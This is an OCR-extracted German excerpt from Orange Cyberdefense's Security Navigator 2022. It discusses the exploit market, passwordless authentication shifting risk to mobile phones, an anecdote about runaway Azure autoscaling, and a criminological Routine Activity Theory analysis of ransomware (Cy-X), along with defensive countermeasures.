Die Angriffe richten sich gegen bestimmte Ziele, wobei
kommerziell entwickelte Toolkits zur Kompromittierung und
Verfolgung der Mobiltelefone einzelner Personen eingesetzt
werden. Fur die eigentliche Kompromittierung ist oft ein
spezieller ,Zero Day’-Exploit erforderlich, der nicht immer vom
Entwickler des Toolkits selbst stammt.

www.orangecyberdefense.com



‘ m Security Navigator 2022 =

Exploits werden haufig auf einem offenen Markt erworben

und meist von Vermittlern angeboten, die Transaktionen
zwischen privaten Entwicklern von Exploits und kommerziellen
Dienstleistern von ,Cyber-Angriffstechnologie’ organisieren.

Der Wert solcher Exploits ist enorm. Die Sicherheitsbudgets
der Unternehmen verblassen, wenn man sie mit den Geldern
vergleicht, die durch die Budgets von Regierungen fir
,Staatssicherheit’ (iber Anbieter und Vermittler an die Entwickler
von Schwarzmarkt-Exploits flieBen.

Der Exploit-Vermittler Zerodium bietet derzeit bis zu 2 Millionen
US-Dollar fir einen iOS-Exploit.!”

Anbieter von Cyber-Angriffstechnologien verkaufen in erster
Linie an staatliche Stellen, und zwar zu enormen Preisen.
Solche Unternehmen entstehen jedoch meist auch innerhalb
von staatlichen Stellen. Auf diese Weise ist ein gewisser Zirkel
entstanden, der als ,Cyber Military Complex’ bekannt ist.

Wir sehen also, dass es ein sich wiederholendes Muster

von Angebot und Nachfrage gibt, welches die Entwicklung
von neuen Kapazitdten und auBerordentlichen Ausgaben
antreibt. Dieses Geld, die Fahigkeiten, die Erfahrung und die
sich daraus ergebenden Kapazitaten bleiben jedoch nicht in
Staatsha&nden, und die Geschichte!® hat gezeigt, dass es einen
stédndigen Osmose-Prozess gibt, durch den Exploits, Toolkits,
Ausbildung, Fahigkeiten und Erfahrungen aus den Bereichen
von Staat, Militdr und Geheimdiensten in das Okosystem der
Cyber-Kriminalitat einflieBen, wo sie sich direkt auf die zivilen
Unternehmen und deren Kunden auswirken.

Eine grundlegende systemische Triebkraft fur die
Herausforderungen, mit denen wir im Bereich Datensicherheit
konfrontiert sind, ist daher die Konvergenz von Staatsausgaben
fir Hacking-Technologien und kriminelle Innovationen, wodurch
die Sicherheitsherausforderung enorm verstarkt wird. Diese
Konvergenz, die durch auBerordentliche Staatsinvestitionen
genéhrt wird, kann das Risiko-,Kalkil’, das die meisten
Unternehmen bei der Entwicklung ihrer Sicherheitsstrategien
anwenden, vollig auf den Kopf stellen.

Es ist daher bemerkenswert, dass sich diese Dynamik in den
letzten sechs Monaten am deutlichsten bei Sicherheitsliicken
und Angriffen auf Mobiltelefone und insbesondere auf Apples
iOS gezeigt hat.

Aufgrund ihrer hohen Kosten und ihrer sehr gezielten Natur
haben iOS-Exploits unseren typischen Kunden in der
Vergangenheit keine groBen Sorgen bereitet. Die Sicherheit von
Mobilgeraten hat fiir Unternehmen traditionell keine besonders
hohe Prioritét. Dies kdnnte sich allerdings allméhlich &ndern.

Im Mérz 2021 wurde von Microsoft bekannt gegeben, dass
,passwortlose’ Anmeldeverfahren ,,generell fiir kommerzielle
Anwender verflgbar sind“®’. Damit wurde die Funktion fr

alle Unternehmen weltweit verfiigbar. Kunden von Microsoft
»Kkénnen das Passwort nun vollstédndig aus ihrem Kundenkonto
entfernen. Nutzen Sie die Microsoft Authenticator-App,
Windows Hello, einen Sicherheitsschllissel oder einen
Verifizierungscode, der ihnen per SMS oder E-Mail zugesendet
wird, um sich in lhren Lieblings-Apps und -Diensten wie
Microsoft Outlook, Microsoft OneDrive, Microsoft Family Safety
und vielen mehr anzumelden®.
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Es besteht kaum Zweifel daran, dass andere Anbieter

von Cloud-Diensten sowie von Identity Services bald
nachziehen werden. Und das ist ein echter Gewinn fiir die
Security. Es bedeutet jedoch eine systemische Verdnderung
der Bedrohungslandschaft, da eine ,passwortlose'

Zukunft unweigerlich die Mobiltelefone der Benutzer als
Kernkomponente des Sicherheitsbereichs von Unternehmen
miteinschlieBt.

Wir gehen davon aus, dass die drei folgenden systemischen
Faktoren schon bald zusammenlaufen werden: 1) Die
Ausgaben des Staates fiir das Hacken von Mobiltelefonen
werden zu einem kontinuierlichen Wachstum dieser Art von
Hacking-Fahigkeiten fiihren, die nicht auf den Cyber Military
Complex beschrankt bleiben werden, 2) mehr Anbieter werden
(glicklicherweise) ein ,passwortloses' Paradigma Gbernehmen,
und 3) dies wird zu einer Verlagerung des Schwerpunkts auf
die Rolle des Mobiltelefons als Schllisselkomponente des
Sicherheitsperimeters flihren.

Dies deutet darauf hin, dass das Patchen und Uberwachen von
Mobiltelefonen zunehmend an Bedeutung gewinnen wird, weil
unsere Abhangigkeit von Passwortern zur Authentifizierung
endlich zu schwinden beginnt.

Cyber Extortion

Die einzige aufkommende Bedrohung, die sich in unseren
Meldungen deutlich von den anderen abhebt, ist Cyber-
Erpressung oder Ransomware. Seitdem wir im Januar 2020
begonnen haben, diesen systemischen Faktor zu beobachten,
hat sich die Haufigkeit dieses Themas in unseren Meldungen
verdreifacht. Cyber-Erpressung oder Cyber Extortion ist die
Sicherheitsbedrohung, welche die Schlagzeilen beherrscht,
wahrend wir mit dem Verfassen dieses Reports beschéftigt
sind. Wir werden uns daher eingehender mit den Ursachen und
Folgen in spéateren Abschnitten dieses Reports befassen.

Fazit

Wir sind in einem von Unsicherheit und Chaos gepragten Umfeld tétig.

Ein systemischer Ansatz zum Verstehen der Landschaft, kombiniert mit

der objektiven Datenanalyse, ermdglicht es uns, Ubergeordnete Trends zu
erkennen, uns besser im Hinblick auf die Zukunft vorzubereiten und unsere
knappen Ressourcen sinnvoll einzusetzen. Aber es ist eine ungenaue
Wissenschaft, und wir werden standig von listigen Gegnern ausgetrickst oder
von unvorhergesehenen Entwicklungen Uberrascht.

Die Auffassung, dass wir ,vor dem Léwen‘ oder ,vor unserem Nachbarn'
davonlaufen kénnen, ist unzeitgeman und liegt weit entfernt von der Realitét.
Der Cyberspace ist in hohem MaBe verlinkt und ,ansteckend’. ,Wechselseitige
Abhangigkeit’ ist ein grundlegendes Attribut, das uns zwingt, unsere Realitat
eher als ,mit den Stieren rennen’ als ,vor den Lowen weglaufen‘ zu betrachten.
Die Plane und Strategien von jedem, der auf einer holprigen, schmalen StraBe
mit Dutzenden von witenden Stieren und noch mehr panischen Fllichtenden
bleibt, werden unweigerlich durchkreuzt.

Die Meldungen, die wir in den letzten zwolf Monaten mit unsere Kunden geteilt
haben, erzahlen eben diese Geschichte.

Wir missen uns auf das unvermeidliche Chaos einlassen, den unermudlichen
Gegner akzeptieren und unsere SicherheitsmaBnahmen entsprechend
anpassen.

Eine Ubersichtsdarstellung, wie sie unser Security-,Klima‘-Modell bietet,

hilft uns dabei, die Vergangenheit zu verstehen und die Zukunft besser

zu prognostizieren. Wir mussen aber auch die Fahigkeit entwickeln, die
Gegenwart klar und deutlich zu erkennen, uns kurzfristig auf die sich
andernde Landschaft einzustellen und selbstbewusst zu antworten, wenn eine
unabwendbare Krise entsteht.

Wir bendtigen einen strukturierten Ansatz, um wesentliche Veranderungen

in einem chaotischen Umfeld zu erkennen und entsprechend reagieren

zu kénnen. Bei Orange Cyberdefense glauben wir, dass ein strukturierter,
zyklischer Prozess in Kombination mit hilfreichen Informationen tber das
Umfeld, ein akutes Verstéandnis unserer eigenen Systeme, die notwendigen
Fahigkeiten und entsprechende Technologien uns helfen kdnnen, zu tberleben
und sogar in einer chaotischen und aggressiven Welt erfolgreich zu sein.

Wir bezeichnen unser Konzept als ,Intelligence-led Security’ und wir
investieren, um es fUr unsere Kunden in jeder Hinsicht Realitat werden zu
lassen. Aber das ist nichts, was wir verkaufen méchten, sondern etwas, das
wir uns alle zu eigen machen und in die Tat umsetzen mussen.
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Was in Nadellas Namen ist gerade passiert?

Vor einem Plenum zu sprechen, um eine theoretisch erfolgreiche
Demonstration zu prasentieren hat den Nachteil, dass jeder Zuschauer
sehen kann, wenn eine Demonstration weniger erfolgreich verléduft. Das
interne Tool war mit den gewiinschten Informationen gefiillt, so dass

Wie man di g itale Powertools [n iC ht] S S R ey e TR b
allmahlich nach, als nach dem Driicken der Schaltflache ,Absenden‘ (mit
verwenden sollte

. N ) ) 0000 0 00
einem Tusch) der eigentlich kurze Moment des Absendens zu einer Pause

fiihrte, was in eine langere Unterbrechung liberging. Irgendwann musste
ich meinen eifrigen Redefluss, in dem ich darauf einging, dass das System
nach den Kriterien der Zuverlassigkeit sowie der Wartungsfreundlichkeit
gebaut wurde, beenden. Nun blieb mir nichts anderes librig, als einen
Blick hinter die Kulissen zu werfen, nur um festzustellen, dass die Demo
,erfolgreich gescheitert’ war — was war passiert?

Ahnlich dem Dschinni, dem Geist aus Aladdins Flasche, fiihlt sich die Arbeit mit Cloud-
Systemen manchmal so an, als hatte man eine phdnomenale kosmische Kraft ohne
den winzigen Lebensraum, der einem im Vergleich dazu in einem Rechenzentrum zur
Verfiigung steht.

Um bei popkulturellen Referenzen zu bleiben — ,,Aus groBer Kraft folgt groBe Verantwortung*
—und in unserem Fall lag diese Verantwortung gegentiber dem Geldbeutel des Kunden, der

wiederum einen Wunsch gegentiber dem Dschinni nach Goldbergen dringend nétig gehabt

hétte.

Zuversichtlich, dass das Problem schnell erkannt und behoben werden kénnte,
stiirzte ich mich auf die Protokolle aus der Integration, die sich noch in einem
ziemlich ,gesprachigen’ Modus befanden. Es war also leicht zu erkennen,

wo sich der Fehlerteufel eingeschlichen hatte. In einer Berechnung der
Ressourcenverfiigbarkeit konnte ein GréBer-als-Zeichen anstelle eines Kleiner-
als-Zeichens ausgemacht werden. Allerdings sagte mir mein ,Spinnensinn’, dass
hier mehr vor sich gehen musste.

Samuel Drayton, Multi-Cloud Security Consultant,

Die Uberpriifung der Uberwachungsprotokolle fiir Azure ergab, dass die

o0 ©
Es war einmal ein Ingenieur... ° Integration aufgrund fehlender Ressourcen ordnungsgeméaB beendet wurde

: (erfolgreich fehlgeschlagen), nicht weil die Demonstration eine groBBe Bestellung
Unsere Geschichte beginnt mit diesem bescheidenen Cloud- ° aufwies, sondern weil ein automatisiertes System (nicht unseres) unmittelbar vor
Ingenieur, der eine Integration zwischen einem internen Tool eeoceco0ccoo o ° dem Beginn meiner Demonstration eine massive Bestellung aufgegeben hatte.
fiir die Bereitstellung von IT-Services und Microsoft Azure :
entwickeln wollte. Dies erméglichte es den Kunden des Tools, °

virtuelle Maschinen, Abonnements, Data-Science-Cluster und
mehr zu bestellen, indem sie ARM-Vorlagen mit Powershell,
Plausibilitdtspriifungen, Ressourcenlimits, Geschaftsregeln und

mehr versahen: alles skalierbar, unterstiitzt und erweiterbar. Was wie eine automatisierte Skalierungslésung aussah, hatte

ein ,soft Limit’ erreicht und die CPU-Verfiigbarkeit fiir das
Azure-Abonnement ausgereizt. Sofern man den Eigentiimer
des Dienstes auf eine reale Person zuriickfiihren wiirde,
schien die unbegrenzte Skalierung sowohl unerwartet (eine
Code-Implementierung hatte einen enormen Anstieg der
CPU-Auslastung im gesamten Cluster verursacht), als auch
unbekannt (es gab keine Uberwachung oder Obergrenzen fiir
den Umfang des Dienstes) zu sein. Als unsere beiden Teams
das Problem unter Kontrolle gebracht hatten, belief sich die
Rechnung fiir die Nutzung des auBer Kontrolle geratenen
Autoscalings auf fast

Bei einer dieser Plausibilitatspriifungen ging es darum
herauszufinden, wie viele Ressourcen bestellt werden, bei
einer anderen drehte sich alles um die Frage, ob im Azure-
Abonnement geniigend Ressourcen verfiigbar sind, um die
Bestellung auszufiihren.

Springen wir direkt vor zur Demonstration der Integration. Erinnern
Sie sich an die goldene Regel von Prasentationen? Sie besagt
Folgendes: ,,Fiihre niemals eine Live-Demonstration durch.” Es
wurde allerdings angenommen, dass es in Ordnung gehen wiirde,
da die Prasentation nur einem kleinen Publikum gezeigt werden
wiirde.

Die Demonstration ging schief...
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Charl van der Walt
Head of Security Research

Diana Selck-Paulsson
Threat Research Analyst

Die Kriminologie der
Ransomware

Ransomware-Angriffe spitzen sich immer mehr zu. Sie sind zudem das dominierende Thema in
den Schlagzeilen, wenn es um Cybersecurity geht. Die Belastbarkeit unserer IT-Systeme und das
Vertrauen, das wir von unseren Nutzern abverlangen, erfordern es, dieser Plage Einhalt zu gebieten.
Jedoch scheinen wir bisher mehr Schlachten verloren als gewonnen zu haben.

Um die Bedrohung durch Ransomware einzudadmmen, missen wir nicht nur verstehen, was
Ransomware ist, sondern auch, warum es Ransomware gibt.

Ein weit verbreiteter Irrtum ist, dass Cybertechnologie der dominierende Faktor in der
Cyberkriminalitat ist. Dies ist jedoch nicht der Fall. Die Kriminalitat ist der dominierende Faktor. Wenn
wir das Problemfeld der Cyberkriminalitat verstehen wollen, missen wir begreifen, dass Faktoren
wie Innovationen bei kriminellen Geschaftsmodellen, die Monetarisierung sowie der Einfluss von
Kriminellen auf Markte erhebliche Auswirkungen haben, nicht nur die dahinterstehende Technologie.

Um Cyber Extortion als Straftat zu verstehen, ist es nltzlich, ja sogar notwendig, die Erkenntnisse zu
nutzen, die uns die wissenschaftlich fundierte Disziplin der Kriminologie bietet. Dadurch wird uns eine
Perspektive auf das Problem er6ffnet, die von IT-Sicherheitsexperten nicht allzu haufig berticksichtigt
wird.

Wir bei Orange Cyberdefense sind uns der schadlichen Folgen der Ransomware-Pandemie fir

die Unternehmen, das individuelle Leben sowie das Wohlergehen von Volkswirtschaften und
Gesellschaften bewusst. Wir sind davon Uberzeugt, dass neue Perspektiven zu unserem Verstéandnis
des Problems sowie der Effizienz unserer Losungen beitragen kdnnen. Das Ziel dieses Artikels ist es,
eine solche neue Perspektive aufzuzeigen.

Durch die Melange aus unseren umfangreichen Kenntnissen und Erfahrungen im Bereich der
Cybersecurity, der aktuellen Forschung zu Mustern und Verhaltensweisen von kriminellen
Gruppen, die im Spektrum moderner Ransomware aktiv sind, kombiniert mit der Disziplin
der Kriminologie, prasentieren wir eine Analyse des Problems, bei der ein neuer Ansatz zum
Tragen kommt. Im Ergebnis fiihrt dies zu einem neuen Paket an Lésungsvorschlagen. Wir
sind davon iiberzeugt, dass dieser Ansatz es uns ermdéglichen kann, unsere gemeinsamen
Chancen im Kampf gegen diese heimtiickische Form der Kriminalitit zu verbessern.
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Ransomware kann als ,eine Untergruppe von Malware, bei der
die Daten auf dem Computer eines Opfers geblockt werden —in
der Regel durch Verschlisselung — und eine Zahlung verlangt
wird, bevor die erpressten Daten entschliisselt werden und dem
Opfer zurlickgegeben werden” verstanden werden.

Das Thema Ransomware riickte 2017 in das Zentrum der
offentlichen Aufmerksamkeit. Der Ransomware-Angriff
WannaCry im Mai 2017 hatte globale Auswirkungen und
verbreitete sich rasant Gber ungepatchte oder veraltete
Microsoft Windows Computer.

Der britische National Health Service (NHS) gehdérte zu den
wohl bekanntesten Opfern von WannaCry mit Tausenden
betroffenen NHS-Krankenh&usern und -Praxen in ganz
GroBbritannien. Der entstandene finanzielle Schaden fir den
NHS belief sich schatzungsweise auf 92 Mio. GBP. Insgesamt
waren Computersysteme in 150 Landern betroffen mit einem
weltweiten finanziellen Schaden von etwa 4 Mrd. USD.

Wenn wir ins Jahr 2020 vorspulen, stellen wir fest, dass
Ransomware zu einer bewahrten und duBerst lukrativen Praktik
von Cyberkriminellen geworden ist. In jingster Vergangenheit
sind mehrere Gruppen von Angreifern zur sogenannten ,Double
Extortion’ Ubergegangen und nutzen 6ffentliche Websites, auf
denen ihre Opfer benannt und Auszlige gestohlener Daten
verdffentlicht werden, um Ldsegeld zu erpressen.

Anfang 2020 hat Orange Cyberdefense ein Projekt initiiert, um
diese Datenlecks zuriickzuverfolgen und zu dokumentieren. Wie
die Grafik zeigt, haben wir zwischen dem ersten Quartal 2020
und dem dritten Quartal 2021 einen sechsfachen Anstieg der
Datenlecks infolge von Double Extortion beobachten kénnen.

In den ersten drei Quartalen 2021 haben wir 1.504 verschiedene
Datenlecks auf 44 verschiedene Cyber-Erpresser zurtickfihren
kdnnen, deren Leaking-Plattformen wir beobachten kénnen.

Da Cyberkriminelle jeden Monat nachweislich 167 neue

Opfer erpressen kdnnen (dabei handelt es sich lediglich um

die tatsachlich nachgewiesenen KenngréBen), ist das wahre
AusmaB des Problems geradezu Uberwaltigend.

Der Begriff ,Ransomware’ beschreibt eine Form von Malware,
jedoch keine Kriminalitdtsform. Und das Verbrechen hangt nicht
einmal von dieser speziellen Art von Malware ab. Tatsachlich
findet diese Form der Cyberkriminalitat, um die es hier geht,
zunehmend ohne diese Art von Malware oder sonstigen

Formen von speziellen Tools statt. Es ist nicht einmal eine
VerschlUsselung erforderlich, was sich deutlich bei Angriffen
zeigt, bei denen die Androhung eines einfachen Datendiebstahls
oder von DoS-Attacken zum Tragen kommen.

Wir schlagen vor, den Begriff ,Cyber Extortion’ zu verwenden,
abgekirzt ,Cy-X’ (ausgesprochen ,sei ex’):

“Cy-X ist eine Form der Computerkriminalitat, bei der
die Sicherheit von digitalen Assets von Unternehmen
(Vertraulichkeit, Integritit oder Verfiigbarkeit)
kompromittiert und in einer gewissen Form ausgenutzt
werden, um Geld von den Opfern zu erpressen”.

Gesamt betrachtet besteht die Erpressung aus mehr als einer
Straftat, zum einen durch den unbefugten Zugriff auf Computer
und Daten und zum anderen durch die Erpressung eines
Ldsegelds.

Die Kriminologie beschéftigt sich damit, warum sich manche
Menschen der Kriminalitédt zuwenden und andere nicht. Sind
Menschen, die sich dem Verbrechen zuwenden, von Natur aus
bdse? Haben sie sich im Jugendalter mit den ,falschen’ Leuten
abgegeben? Oder Gberwiegen die Chancen und Vorteile der
Kriminalitat einfach gegenuber ihren rechtlichen Folgen und
Sanktionen? All dies sind Fragen, die uns dabei helfen kénnen,
das ,Warum’ — Ursache und Wirkungszusammenhénge von
Kriminalitdt — zu verstehen und entsprechende Strategien zu
entwickeln, um ihr entgegenzuwirken.

In diesem Kapitel soll die Kriminalitdtstheorie namens
Routine Activity Theory (RAT) untersucht und auf das

Leak-Bedrohungen von Cy-X
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Problem Cy-X angewendet werden. Es soll uns dabei helfen,
Cy-X zu verstehen und herauszufinden, wie das Problem
maoglicherweise minimiert werden kann.

Die RAT wurde 1979 von Cohen und Felson entwickelt. Im
Fokus stehen dabei eher die Merkmale der Straftat als die
Personlichkeit des Téaters "' Die RAT ist eine Weiterentwicklung
der Rational Choice Theory, die den Nutzen einer bestimmten
Handlungsweise bei Entscheidungen bertcksichtigt.

In einer kurzen Zusammenfassung des Ontario Ministry of
Children, Community und Social Services heift es: ,,Die Theorie
der rationalen Entscheidung basiert auf den Grundprinzipien
der klassischen Kriminologie, die besagt, dass Menschen ihr
Verhalten frei wahlen und durch die Schmerzvermeidung sowie
dem Streben nach Gliick angetrieben werden. Individuen
bewerten ihre Handlungsoptionen in Ubereinstimmung mit dem
Potential jedweder dieser Optionen, Vorteile, Vergniigen und
Glick zu generieren.”

Die RAT geht diesbezliglich sogar noch weiter, indem darin
drei Elemente beschrieben werden, die, wenn sie zu einem
bestimmten Zeitpunkt, an einem bestimmten Ort gleichzeitig
eintreten, die Wahrscheinlichkeit eines Verbrechens erhdéhen.

GemaB dieser Theorie missen alle dieser Faktoren gleichzeitig
vorhanden sein, damit ein Verbrechen auftritt:

Erstens muss es einen motivierten Tater geben,

Zweitens mussen Tater und Opfer oder Ziel am richtigen
Ort und zum richtigen Zeitpunkt aufeinandertreffen. Bei
dem Opfer kann es sich um eine Person oder ein Objekt
handeln.

Und drittens besagt die Theorie, dass die Abwesenheit
schutzbereiter Dritter/Guardians gegeben sein muss (dabei
kénnte es sich wiederum um eine Person oder einen
Gegenstand handeln).

RAT auf Cy-X abgebildet

Wenn wir einen der drei Faktoren reduzieren konnen, wird auch
die Wahrscheinlichkeit des Auftretens von Cy-X reduziert.

In diesem Abschnitt soll diskutiert werden, wie sich jedes der
drei Elemente im Cyberspace auBern kdnnte, um zu verstehen,
wie es jeweils zu dem Problem beitragt. AnschlieBend wollen
wir auf mogliche Strategien eingehen, um diese Faktoren aus
der Gleichung zu nehmen, wodurch die Wahrscheinlichkeit des
Auftretens von Cy-X verringert werden kann.

Bei dem motivierten Tater kann es sich entweder um eine
Einzelperson oder eine Gruppe handeln, die sowohl die
Neigung als auch die Fahigkeit hat, Straftaten zu begehen
Die Routine Activity Theory untersucht die Faktoren, die dazu
beitragen kdnnen, dass Kriminalitat fir eine rationale Person
eine ausreichend attraktive Option darstellt.

Bei den jingsten Cy-X-Angriffen sind meistens mehrere
Personen innerhalb einer Gruppe an den Straftaten beteiligt, die
auf héchst organisierte Weise miteinander zusammenarbeiten.
Ein motivierter Tater kbnnte ein ,Affiliate’, ein Ransomware-
Entwickler oder ein Initial Access Broker (IAB) sein, um nur
einige Akteure in diesem Okosystem zu benennen.

Beim modernen Cy-X kommt in der Regel eine Art Franchise-
Modell zum Tragen, das als Ransomware as a Service (RaaS)
bezeichnet wird. Bei diesem Modell erstellt oder erwirbt eine
Gruppe aus Spezialisten die bei einem Angriff verwendete
Schadsoftware und baut, wartet und unterstitzt die
verschiedenen komplementaren Technologien, die verwendet
werden, um den technischen Angriff und die anschlieBend
folgende Lésegeldforderung zu initiieren. Diese Gruppen
werden als ,Operatoren’ bezeichnet. Diese bilden wiederum
eine Art Wiederverkaufer-Vereinbarung mit anderen Gruppen,
den sogenannten ,Affiliates’, die den Code und die Infrastruktur
dazu verwenden, um die Verbrechen zu begehen.

Motivierter Tater:
IAB, Affiliate, Operator

Passendes Opfer:
Person oder Organisation

Fehlende schutzbereite Dritte/Guardians:
Strafverfolgung, Sicherheitskontrollen,
normale Personen
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Dieser RaaS-Partneransatz auBert sich im Aligemeinen in einer
von zwei Formen:

Offenes RaaS-Modell: Die Operatoren rekrutieren

offen und laden jeden dazu ein, ihre Tools zu verwenden,
unabhangig von Erfahrung und Fahigkeiten. Oft wird

die Malware-Infrastruktur in Darknet-Diskussionsforen

und Marktplatzen beworben. Aufgrund der jiingsten
Ereignisse versuchen einige Forenbetreiber, wohl um aus
der Schusslinie zu kommen, die Themen Ransomware und
Affiliate-Programme zu verbannen.!®! Die offenen RaaS-
Modelle sind in der Regel weniger ausgereift und zielen oft
auf kleine Opfer ab, von denen angenommen wird, dass sie
weniger gut geschuitzt sind.

Geschlossenes RaaS-Modell: Dieses Modell ist
raffinierter und zielt mit hochqualifizierten Teammitgliedern
maoglicherweise auf gréBere Unternehmen ab. Die
Operatoren sind sehr wéhlerisch, wer ihre Marke nutzen
darf. Potenzielle neue Teammitglieder werden von den
Kernentwicklern einer griindlichen Uberpriifung unterzogen

. Dieser Prozess kann ein personliches Gesprach, Tests
zur Uberpriifung der Fahigkeiten und mehr beinhalten.

Eine weitere wichtige Gruppe von Akteuren in der heutigen
Realitat ist der Initial Access Broker (IAB). Er fungiert als
Vermittler, indem er ,angreifbare Unternehmen ausfindig
macht und Zugang zu ihnen an den Meistbietenden in
Darknet-Foren verkauft”.

Neutralisation

Das Streben nach Profit ist ein wichtiger (wenn nicht der
wichtigste) Motivationsgrund flir den Tater. Aber Erpresser
wenden auch eine Technik an, die Kriminologen als
,Neutralisation’ bekannt ist — ein Mittel, um die moralischen
Hindernisse fUr die Begehung eines Verbrechens zu
Uberwinden.

Motivierte Tater wenden Neutralisierungstechniken an, um

ihr Handeln gegentber der AuBenwelt zu rechtfertigen. Dies
beinhaltet die Verwendung von Geschéftsterminologie,
Behauptungen Gber wohimeinende Absichten und wohltatige
Spenden, um ihre eigene deviante Handlung zu rechtfertigen,
wéhrend gleichzeitig grundlegende Fakten wie Gesetze,
gegenseitiges Einvernehmen und die negativen Auswirkungen
auf die Gesellschaft in ihrem Kalkil ignoriert werden.

Data M-
Uata Market About Us Contact

If the cgmpany
be made pubfic.

Bisher scheinen diese Kriminellen immun gegen jegliche
Bemuhungen der Medien- und Security-Branche zu sein,
sie als das darzustellen, was sie in Wirklichkeit sind, namlich
schamlose Kriminelle, die die Schwachen und Verletzlichen
ausbeuten.

Dieser Art der Darstellung sollte als Teil einer umfassenderen
Strategie entgegengewirkt werden, um den Téter zu
demotivieren und so die Wahrscheinlichkeit des Auftretens von
Cy-X zu minimieren.

Strafverfolgung

Ein logischer Gegenpol zu jeder Form von Cyberkriminalitat
ist selbstversténdlich die Festnahme und die strafrechtliche
Verfolgung der Kriminellen. Die Polizeiarbeit im Cyberspace
stellt eine Herausforderung dar und die Cyberfahigkeiten
stecken im Allgemeinen noch in den Kinderschuhen.

Eine wirksame internationale Zusammenarbeit im Bereich der
Strafverfolgung wird wohl weiterhin schwierig bleiben, solange
sich die Weltgemeinschaft nicht kollektiv zur Festlegung einer
Reihe von Normen und Standards verpflichtet, die die Arten von
Cyberangriffen definieren, die in den akzeptablen Bereich des
nationalen Wettbewerbs fallen, ohne nachteilige Auswirkungen
auf die Zivilbevélkerung sowie die Geschaftswelt.

Regulierung der Zahlungen

Ganz offensichtlich ist das Lebenselixier dieser Form der
Kriminalitdt der erwartete Geldfluss der Opfer. Daher ist die
Unterbrechung der Zahlungskanéle ein wirksames, vielleicht
sogar das einzige wirksame Mittel zur Bekdmpfung dieser Form
der Cyberkriminalitt.

Es gibt drei wichtige Hebel, die umgelegt werden kénnten, um
den Zahlungsfluss zu drosseln, namlich:

Regulierung der Zahlungen durch die Opfer

Regulierung von Kryptowahrungssystemen und
Dienstleistern

Regulierung von Cyberversicherungen und deren
Zahlungen

Diese MaBnahmen sollten jedoch nicht als einfache
\Wundermittel’ verstanden werden. Vielmehr kbnnten sie
mdglicherweise schwerwiegende Nebenwirkungen mit sich
bringen. Es gilt, sie mit duBerster Sorgfalt umzusetzen.

Die ,Bonagj Group’
Setzt klassische

Neutralisationstechniken ein

Initial Access Broker Affiliate
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Verbrechen Kompromittiert das Netzwerk

Opfer Computerbesitzer

Tatort Computer des Opfers

Ein passendes Opfer kann eine Person, ein Objekt oder ein Ort
sein. In der Literatur fallt im Zusammenhang mit der RAT haufig
das Kurzel VIVA'. Dahinter verbergen sich die Faktoren, durch
die ein Opfer zugénglich oder geeignet erscheint — Wert (Value),
physische Merkmale (Inertia), Sichtbarkeit (Visibility) sowie
Zuganglichkeit (Access).

Jedes Element von Cy-X kann ohne weiteres auf Verbrechen in
der realen Welt Ubertragen werden. Beispielsweise kdnnte die
anfangliche Kompromittierung, die dazu fiihrt, dass ein Code
auf dem Computer des Ziels ausgefihrt wird, den Tatbestand
des Hausfriedensbruchs darstellen. Das Opfer ist in diesem

Fall eindeutig der rechtmaBige Besitzer des Computers und der
Tatort ist das System, auf dem der Code ausgefihrt wird.

Laterale Bewegungen kénnen in &hnlicher Weise

betrachtet werden. Der Diebstahl von Unternehmens-

oder personenbezogenen Daten ist eben das — Diebstahl.
Hierbei ist das Opfer der Eigentiimer der Daten und der

Tatort befindet sich dort, wo die Daten aufbewahrt werden.
Verschlisselung und Léschung von Daten kénnen als
Entflhrung und Sachbeschadigung verstanden werden. Bei
der Ldsegeldforderung handelt es sich um Erpressung. Die
anschlieBende Manipulation der gestohlenen Daten kdnnte als
Hehlerei verstanden werden.

Auch in diesen Fallen ist das Opfer nicht schwer auszumachen.

SchlieBlich werden wahrscheinlich unzéhlige Straftaten im
Verborgenen begangen, wenn Cyberkriminelle etwa einander
Produkte und Dienstleistungen anbieten.

Eine Quelle"”! fasst diese Faktoren fiir die ,reale Welt’ wie folgt
zusammen:

Ausgangspunkt ist stets der Wert eines Ziels. Dabei kann
es sich um Geld handeln, etwa welchen finanziellen Wert
etwas hat, oder zum Beispiel auch darauf, was es flir den
Status einer Person bedeutet, etwa ein bestimmtes Gerét
zu besitzen.

Extrahiert und verschlisselt,
Verhandlungen und Zahlung

Dateneigentimer

Computer des Opfers

Stellt Tools bereit, pflegt die
Leaking-Plattform, verwaltet
Verhandlungen und Zahlungen

Dateneigentiimer

Darknet-Plattform

Zweitens gibt es die physische Komponente, die

sich darauf bezieht, wie schwer es ist, ein Objekt zu
bewegen oder zu transportieren. Zum Beispiel dirfte es
sich schwierig gestalten, sehr groBe Gerate wie einen
Kihlschrank zu bewegen, wéhrend es viel einfacher ist, ein
Mobiltelefon zu transportieren.

Drittens hangt die Eignung eines Ziels von der Sichtbarkeit
des Ziels ab. Liegen beispielsweise Wertsachen offen
herum, ist es viel einfacher, sie zu stehlen, als wenn sie
versteckt sind.

Wir haben zuvor die Faktoren benannt, die ein Opfer fir

einen Tater zuganglich oder geeignet machen — Wert, GréBe/
Gewicht, Sichtbarkeit sowie Zugang zum Objekt. Zu den oben
beschriebenen VIVA-Variablen kénnen wir ein weiteres V fur
Verwundbarkeit (Vulnerability) hinzuftigen.

Analysen im Zusammenhang mit der RAT *°! in Bezug auf
Kriminalitat in der realen Welt legen nahe, dass es eine einfache
Auswahl routinemaBiger Ablaufe gibt, die Sie weniger anfallig fur
Angriffe machen kénnen. Je verwundbarer das Opfer ist, desto
wahrscheinlicher ist es, dass der Téater die Straftat begeht. Das
gleiche Prinzip gilt im Cyberspace:

Zum Straftatbestand des Erstzugriffs
(Hausfriedensbruch):

Wie minimieren wir die ,Sichtbarkeit’ des Ziels?
Was kdnnen wir unternehmen, um die Verwundbarkeit’ des
Technologie-,Tatortes’ zu verringern?

Zum Straftatbestand der Datenextraktion,
Verschliisselung und Léschung (Diebstahl, Entfiihrung
und Sachbeschadigung):

Wie minimieren wir die Anzahl ,verfliigbarer Zugangspunkte’?
Wie erhéhen wir die ,physischen Merkmale’?

Zum Straftatbestand der Erpressung:

Wie minimieren wir den Wert der digitalen Ressource fiir
das Opfer?

www.orangecyberdefense.com
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Reduzieren der Eignung
des Opfers im Kontext von Cy-X

Die folgenden Schritte kdnnen unternommen werden, um die Eignung des Opfers im Kontext

von Cy-X basierend auf den VVIVA-Variablen zu reduzieren:

= Verringerung der Sichtbarkeit durch Verringerung der Angriffsflache.

= Verringerung der Verwundbarkeit durch Anpassung von Routineverfahren und

Verbesserung der Sicherheitshygiene.

= Verringerung der Zeit, die einem Angreifer nach einer Kompromittierung zur Verfligung
